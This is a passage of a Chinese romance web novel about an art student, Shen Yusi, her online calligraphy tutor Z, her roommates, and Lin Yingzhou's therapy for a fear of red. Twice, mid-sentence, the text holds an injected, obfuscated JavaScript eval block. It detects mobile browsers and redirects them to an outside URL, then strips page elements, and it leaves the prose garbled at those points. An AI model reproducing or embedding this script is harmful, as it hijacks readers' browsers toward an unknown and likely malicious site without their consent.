沈屿思赶紧编辑信息表示感谢:【Z老师你简直是我的救命恩人】 Z:【好点了?】 沈屿思夸张地说:【能跑能跳,生龙活虎】 林映舟再次将好友的话复述过去:【袋子还有其他的药丸,疼的时候吃一颗,剩下药包的等月经走了,用砂锅炖煮一天喝三次,坚持一星期,下个月就能好很多】 沈屿思看着这一长串文字有些不适应。 太阳打西边出来了? Z今天简直阳光普渡众生啊。 沈屿思有感而发:【你真好】 林映舟看着手机屏幕耳根一热,他岔开话题:【明天练赵孟頫的千字文】 沈屿思大喜,什么!她居然可以摆脱兰亭序了! 她装模作样地问:【怎么突然要换字帖了?】 林映舟默了几秒,很想问她这不是你自己想换的吗? 但他没有说,这样沈屿思或许能察觉出Z和林映舟是同一个人,而他目前并不想让沈屿思知道这件事。 Z:【换字帖练才能知道你是货真价实的进步,还是只是熟能生巧】 总说女人心海底针,男人又何尝不是。 Z的心情就像过山车,好的时候沈屿思觉得自己遇到了最好的老师。 差的时候,她真想好好问他,“你又怎么了,我的大小姐!” 想着,沈屿思鬼使神差地点开他的头像,手抖一不小心摁了两下。 屏幕显示:Island拍了拍Z。 沈屿思:“……!” 怎么手滑了! 在她撤回之前,Z已经看到了:【什么东西?】 沈屿思腹诽,什么老古板,拍一拍都不知道。 她大发慈悲地解释:【微信的互动功能,双击对方头像就能拍一拍对方,你可以试试点两下我的头像拍拍我】 林映舟觉得沈屿思莫名其妙,他好端端的为什么要拍一拍她? 他又没病。 Z:【无聊】 沈屿思撇嘴,切,爱拍不拍! 下一秒,聊天框跳出一条:Z拍了拍Island的脚说女王老奴来迟了。 沈屿思定睛一看,抱着手机狂笑:【哈哈哈哈哈,上当了吧!】 Z:【你真的很无聊】 沈屿思没理他,继而点开他的头像。 他的头像是一张书桌,看着像是小叶紫檀,造价不菲,应该是他平时写字的桌子,上面还摆着副画。 沈屿思放大,是一副寒江独钓图,画着渔翁和小船。 她往下滑,却发现署名处是空着的。 沈屿思点进他的主页想看看他的朋友圈,结果发现这人压根没有朋友圈。 真是好神秘一男的。 那他叫Z的话,应该是姓周?张?祝?还是赵? 沈屿思的探索欲忽然被勾起,她开始好奇抛开虚拟的网络,这么别扭这么心口不一的Z,现实会是个怎样的人。 - 军训结束后有几天时间休息,学校接着办开学典礼,沈屿思硬是捱到前一天下午才回学校。 寝室长早就通过班级群加了她的微信,和其余两位室友一起创了个寝室群。 军训不到半个月,群内消息提示音几乎没断过。 从食堂饭菜口味聊到教官脸和脖子的色差,沈屿思和这三名素未谋面的女生每天把消息聊到999?。 这次回学校算是网友奔现。 沈屿思安排司机把她和东西送到宿舍楼下,又在群里发了条消息。 没一会儿三位室友齐刷刷跑下楼,“不是说要早点来的?等你好久了。” “收拾东西收拾晚了。” 当室友得知搬上来的大包小包全是沈屿思给她们准备的礼物后,三人齐刷刷摇着头摆着手,“不不不,这些我不能收。” “对啊,这些太贵重了。” 沈屿思将礼物塞进她们怀里,“别客气呀,前段时间要不是你们,我得错过多少重要消息,而且教材和书本都是你们替我领的,帮了我好大的忙。” 寝室长叫李榆,是云昌本地人,有着让人莫名安心的气场,“这有什么,都是室友,你受伤不在学校了,我们帮你是应该的。” 沈屿思挽住她的手,“我知道呀,所以我很谢谢你们,就一点小小的心意,收下吧收下吧~不然我要过意不去的~” 一共三份礼物,是沈屿思根据她们的朋友圈以及在群里说过的话,猜测她们需要和喜欢什么东西,再去商场精心挑选的。 想到大家都还是学生不想给她们太多心理负担,沈屿思没有买奢侈品,而是选择了实用质量好的小众牌子。 在沈屿思的撒娇攻势下,三人才不好意思地收下礼物。 寝室长又组织大家将闲置画板架在方凳上,临时搭建了一个餐桌,上面整整齐齐摆放着沈屿思从校外带来的美食。 在扑鼻的香气中,四人围坐着开始聊天,无形的距离在渐渐消融。 云大有规定,大二才能申请外宿,所以一年的寝室生活是沈屿思必须要经历的,由于每个人的生活习性不同,寝室生活难免会有摩擦。 她也没有奢望能在寝室里交到人生挚友,只是想在这期间可以过得轻松愉快些。 吃完饭后又一起玩了会儿游戏,大家就各自处理事情去了,沈屿思打开数位板准备继续修改纹身稿子,微信弹出一条信息。 笙笙:【我打听到了!】 Island:【什么?】 谢笙迫不及待的弹了个电话过来,“就上次你说的那事情啊,得到准确消息了,林映舟没有女朋友。” 沈屿思戴上耳机,笔尖在板子上划动,“知道了。” 谢笙继续说,“那就是一个误会,前些天上大课,有个美女在教室门口等他,两个人站在走廊聊天,就有人开玩笑问他这个美女是谁,他说是他堂姐。” 谢笙笑,“哎,你说这事闹得,都是误会啊。” “嗯嗯。”沈屿思咬咬手指头,思考着要从哪里开始改。 听出沈屿思心不在焉,谢笙问,“真不喜欢了?” 沈屿思轻叹一口气,“也没有,就是少了点兴趣,我这人三分钟热度你也是知道的。” 她顿了会儿继续说,“喜欢一个人只在一瞬间,不喜欢一个人也在一瞬间,那个瞬间就是我在医院看到他身边出现了别人,虽然现在知道人家只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15250110|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂姐,但我的热情已经被浇灭了。” 谢笙表示不屑,“切,明天你就能看到他了,期待一下吧,我倒要看看到时你还会不会嘴硬。” “嗯?” 谢笙哼哼两声,卖着关子,“我先不说,明天你就知道了。” 沈屿思骂道,“谢笙!你说话说一半,明天实验做到吐!” “略略略,反弹反弹。”说完,谢笙立马挂断电话。 “靠!”沈屿思气急败坏将手机扔在床上。 姓谢的! 你给我等着! 第二天一早,沈屿思被此起彼伏的洗漱声吵醒,哪怕是垫上贵价床垫,她依旧被硌得浑身酸痛。 看着天花板上斑驳的痕迹,听着室友小声交谈着,沈屿思终于对自己步入大学生活有了实感。 沈屿思爬下床,对着小的不能再小的衣柜开始挑今天要穿的衣服。 考虑到是开学典礼,她抽出白衬衫和黑色百褶裙。 自从染了红头发,她曾经买的红色系衣服就再也没穿过了,好多套红裙子连标签都没摘。 在食堂吃过早饭后四人一起去体育馆,按照划分好的位置一一落座,等待着开学典礼开始。 大学校园每天都有新鲜事情发生,‘体院院草英雄救美’那件事的热度,早就被军训期间某位男生表白、某某女生表演军体拳给顶替了。 只是红发长腿、美院新生,这两个词语组合在一起,迅速让人意识到这就是那段视频里未露脸的‘英雄救美’中的美。 八卦是人的天性,就算是高等学府的学子也不例外。 四周很快传来的小分贝讨论声。 沈屿思对这样的关注习以为常,她知道大家其实没什么恶意,只是闲着没事干爱聊天。 “沈屿思。”身侧有人叫她,沈屿思侧头发现是室友喻然,泾川人、喜欢吃辣、酷爱赛博朋克,是个非常有个性的女生,实际上人很可爱。 沈屿思问,“怎么了?” “别管他们。”她丢下酷酷的一句话,转身继续玩手机。 沈屿思被逗笑,“谢谢你呀。” 晨光漫过体育馆玻璃顶,开学典礼在青铜编钟声拉开序幕。 云大素来独具一格,在冗长的领导讲话前,总会安排才艺暖场,歌舞朗诵啥啥都有,表演者都是优秀学长学姐。 沈屿思支着下巴看了会儿,然后打开手机里的智障小游戏开始玩。 不知道过去多久,四周传来一阵小小的惊呼声。 沈屿思抬头。 竹青色衣角随着风闯入她的视线,男人颀长的身影被日光勾勒得如同新裁的翠竹。 在这之前,她从未见过有谁能把太极服穿得如此惊心动魄,这衣服太衬他了。 他站定,起式。 推掌似拨开云雾,收势却凝着千斤坠力。 云手转揽雀尾时,腕骨翻转衣袖破开凝滞的空气,仙鹤在衣袂飘飘中振翅。 “啊啊啊刚刚这一招好帅啊。” “我知道我知道,我爷爷以前也打太极,这招好像是叫什么……马步金刚指!” 有人在边上嘀咕,“这哪是马步金刚指啊,分明就是勾魂不偿命呐。” 听着她们说的话,沈屿思险些笑出声,她点开手机将镜头推近,对着林映舟拍了张照片发给谢笙:【好吧,我承认你赢了】 林映舟这类帅哥是沈屿思都极少见过的,实在难以想象如此一个人,眼神会因为什么掀起波澜,又会因为什么而做出出格的事。 怪不得那么多人都妄想把高岭之花拉下来,因为这真的很带感啊。 沈屿思托腮,不管了,她一定要试试。 13.有好感 笙笙:【这世界上就没有哪个人能在见到林映舟打太极后不动心】 去年医学院搞了个早操活动,领导特地让林映舟在台上带练太极,前几周学生的到场率几乎百分百,后面实在是扛不住了才有不少人逃操。 Island:【嘿嘿,想让他手把手教我打太极】 笙笙:【嘿嘿,我也想】 Island:【嘿嘿,一起一起】 开学典礼前脚刚结束,林映舟打太极的直拍后脚就出来了。 欣赏第N遍后,沈屿思发了个朋友圈。 Island:【太极真帅】 谢笙很快在下面评论:【人帅还是招式帅?】 Island回复:【都帅!】 虽说沈屿思和谢笙在同一所学校,但是院系不同想要见面也是很难,除非提前挤出时间约好。 考虑到沈屿思刚入校需要和室友打好关系,不方便从集体生活中抽离,谢笙一直忍着没约她吃饭。 好不容易等到她的室友都各自有事不能一起,谢笙赶紧叫她在五食堂等着。 正午的阳光照进教学楼檐角时,五食堂二楼靠窗位置蒸腾着糖醋小排的香气。 沈屿思身影刚出现在楼梯口,谢笙冲过去一把抱住,“我的宝啊,才几天没见我都感觉过去好几年啊,想死你了。” 沈屿思指尖抵住对方凑过来的脸,“咦,满嘴油别亲我。” 谢笙领着她去自己占好的窗边位置,桌上摆着热气腾腾的饭菜,“对你好吧,全是你喜欢的。” 说是难得会面,真见到了还是各自玩各自的智能手机。 沈屿思一天没刷朋友圈消息都99?了,她点开,看到Z的头像和ID突兀地出现在消息列表里。 沈屿思咀嚼的动作放慢。 嗯?他居然点赞了。 刚加上好友时沈屿思把他给设置成不让看朋友圈,前段时间刚取消屏蔽,没想到如老年人一般的Z居然也会刷朋友圈。 沈屿思点开和他的聊天框,扫了一眼这段时间零零散散的聊天记录,嘴角弯了弯。 发现自己在笑时,沈屿思极迅速捕捉到了一些东西,她忽然说,“谢笙,我可能好像……” 谢笙抬头,“什么?” 沈屿思舔舔嘴唇,在想措辞,“可能,对Z有一点点好感?” 意识到沈屿思口中的Z是谁后,谢笙手上汤勺跌回碗中,她不可置信地问,“你疯啦?” 谢笙满脸不解,“你连人家长什么样子,是什么工作,什么家庭背景,是不是单身,你什么都不知道,你就……你就喜欢人家了?” 沈屿思挑着碗里的芹菜,“我没说我喜欢,我只是对他有点好奇,很喜欢和他聊天,你知道的,我一直都不喜欢在网上聊天,觉得没见面有意思,但是和他我就觉得很有意思。” 金属筷子在瓷盘上发出声响,沈屿思嘟囔着,“而且,我还会期待他的消息。” “你……”谢笙憋了半天最后憋出一句,“反正你自己把握度吧。” 谢笙难得说不出话,沈屿思在感情上向来游刃有余,这次八成也是一时兴起,希望她赶紧对这个Z没兴趣吧。 沈屿思明白谢笙的意思,她解释,“我当然能把握,我只是对他有一点点点点好感而已,没到喜欢的程度,你放心。” 谢笙又喝了口汤,“那你要不要把他约出来吃顿饭?” 沈屿思立马摇头,面露抗拒,“我才不要。” “你不是对人家有好感吗,约出来见面了解一下呗,万一是个大帅哥呢。” “那万一他长得很丑呢。”沈屿思光是想想都觉得崩溃,她无法接受在自己心中雅正清冷的Z老师现实里,是一个长得一般甚至丑陋的男性。 “我又没有进一步发展的想法,见面只会打破我对他的幻想,而且我这么漂亮,等下见面他要是喜欢我怎么办,我肯定要拒绝的,再之后就要换书法老师了。” 谢笙非常认可,“你说得对,其实就保持这样的关系也挺好的。” 谢笙又问,“那你还喜欢林映舟吗?” “喜欢啊,谁规定只能喜欢一个人。”沈屿思理所应当地回答。 谢笙一脸看穿她,“哦~我知道了,你是喜欢Z的内在,林映舟的脸还有祁越的性格是吧。” 沈屿思猛点头,“yes!还是你懂我。” “那夏西繁呢?” “他……他身材挺好的,也挺帅的。”沈屿思补充,“不过我对他没意思啊,你可不要误会。” 谢笙笑出声,“知道知道,你这么说我就放心了。” 她刚刚是真怀疑沈屿思被人隔空下蛊,差点就要联系茅山那边的道士去做法了。 - “舟舟,无论发生什么,都千万不能推开那扇门。” 女人青白的手死死扣住林映舟的腕骨,“绝对不能,记住了吗?” 叮咛声在狭小空间内回荡,直到林映舟点头保证不会,声音才消失。 指针划过午夜,他依旧被牵引着推开了那扇门,门缝中漏出的光泛着诡异的暗红。 是血。 林映舟瞳孔骤然收缩,浴缸里是一池浓稠到近乎发黑的血,它翻滚沸腾着漫过边缘。 猩红液体在墙面蜿蜒出血管状纹路,慢慢攀上他的脚背。 林映舟踉跄着跑开,红色加速追赶着他,裹挟着令人作呕的铁锈味迅速扼住他的咽喉。 警示器发出声响,安医生将他从催眠中唤醒,“林映舟,醒过来。” 他将温热的瓷杯塞进林映舟冰凉的手,“你还好吗?” 诊疗室内漂浮着消毒水与檀香交织的气息。 林映舟盯着杯中晃动的液体,艰涩开口,“我又……” “我知道。” 安医生盯着平板上显示的数据曲线,很明显他目前采用的渐进式暴露疗法在前期有着十分良好的效果。 这使林映舟从完全接受不了红色变成只能接受小面积的红和大面积的浅红。 可从低威胁慢慢增值到高威胁时,他就一定会重复那个梦,从而加深他对红的恐惧。 诊疗室的白炽灯管发出轻微嗡鸣声,林映舟靠在皮质座椅上,背后一片汗湿,他垂下眼皮,等待着医生的又一次‘审判’。 “上一次看到大面积红色没有产生应激反应是在什么时间?” 林映舟深吸一口气准确说出,“九月一号晚上十一点四十八分,我摘下了你给的眼镜。” 安医生意外于这个回答,那副特制眼镜是为弱化红色刺激,防止他出现应激而设计的。 为了暴露疗法顺利进行,林映舟在他的建议下尝试着脱镜,当看到刺激画面时,他会立马移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15255685|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开视线以此避免触发症状。 但遇到必须接触红色的场合时,他仍会主动戴回眼镜。 安医生原以为是客观环境所迫,没想到是他主动去感受的。 “为什么?” “因为,我好奇在没有眼镜的情况下,红色……”林映舟顿住,“究竟是什么样子的。” 准确来说,他是在好奇那时候沈屿思身上的红色会是什么样子。 安医生继续问,“然后呢,你摘下了眼镜,感受到了怎样的红色?” “鲜活、蓬勃、有生命力的。”林映舟闭上眼睛,脑海中浮现贴在沈屿思后颈的头发,“就像……火焰。” 安医生一愣,这或许是个重大的转折,“所以你坚持了多久?” “三秒。” 仅仅三秒林映舟就慌乱地重新戴上了眼镜。 和往常一样,林映舟此次的治疗报告准时送到林昀之的办公桌上。 报告最后一栏写着:建议和有生命力的红色多接触,最好是会动的活物,在潜移默化中将他心中红色代表死亡的观念更改成—— 红色是生命力的跳动。 林昀之看着这段话若有所思。 - 正式上课后,早八的威力开始摧残着沈屿思的精神防线。 每日清晨,403寝室总能发出一声声凄厉的哀嚎,堪比屠宰现场。 李榆屈指叩响铁质床架,“快起来啦,今天要去上院长的大课,位置肯定很难占,我先去了你们赶紧跟上。” 是哦,昨天辅导员在群里通知了。 沈屿思猛地掀开被子从床上爬起,迅速洗漱好和另外两位室友一起飞奔至教室。 李榆正端坐在讲台正前方第一排,面前摆放着四本书,晨光照在她的发梢上,此刻的她犹如一位胜仗归来的占座战神。 作为院长的第一节公开课,不少人想在他那里留个好印象,距离开上课还有半个多小时教室前排位置全没了。 徐依依坐下对着李榆竖起大拇指,“给力啊寝室长,这位置估计都能看清院长的头发丝。” 李榆微微一笑,“过奖。” 沈屿思从包里翻出牛奶、燕麦还有牛肉干给她,“想着要占座,早上肯定没怎么吃吧,赶紧补充下营养。” “谢谢。” 林昀之推开阶梯教室的木门,踏着预备铃步入教室,沈屿思听见后排极小声的惊叹。 大家没想到这位年过六十的美院院长现实里看着居然如此显年轻。 林昀之今天穿了件中式立领衬衫,袖口露出半截烟灰竹纹,整个人气质温润儒雅,像被岁月细细打磨过的玉石。 他稳步走上讲台,手指翻动着花名册,“今年我们院新生还是女生占了大半,不过男女比例倒是比往届均衡不少。” 这节公开课的主题是云昌美院的百年发展史,目的是让新生对美院有更深的了解。 林昀之在课上比日常生活中要更幽默风趣,将校史讲得妙趣横生。 临下课时他抽出信笺纸分发给大家,“老师麻烦你们一件事,在这张纸上写下你们在未来四年最想上的兴趣课以及校园活动。” 下课后他在离开前忽然吩咐,“稍后沈屿思收集一下信笺纸送到我办公室,就在行政中心六楼。” 倏然被点名,沈屿思猛地抬头,“……好的。”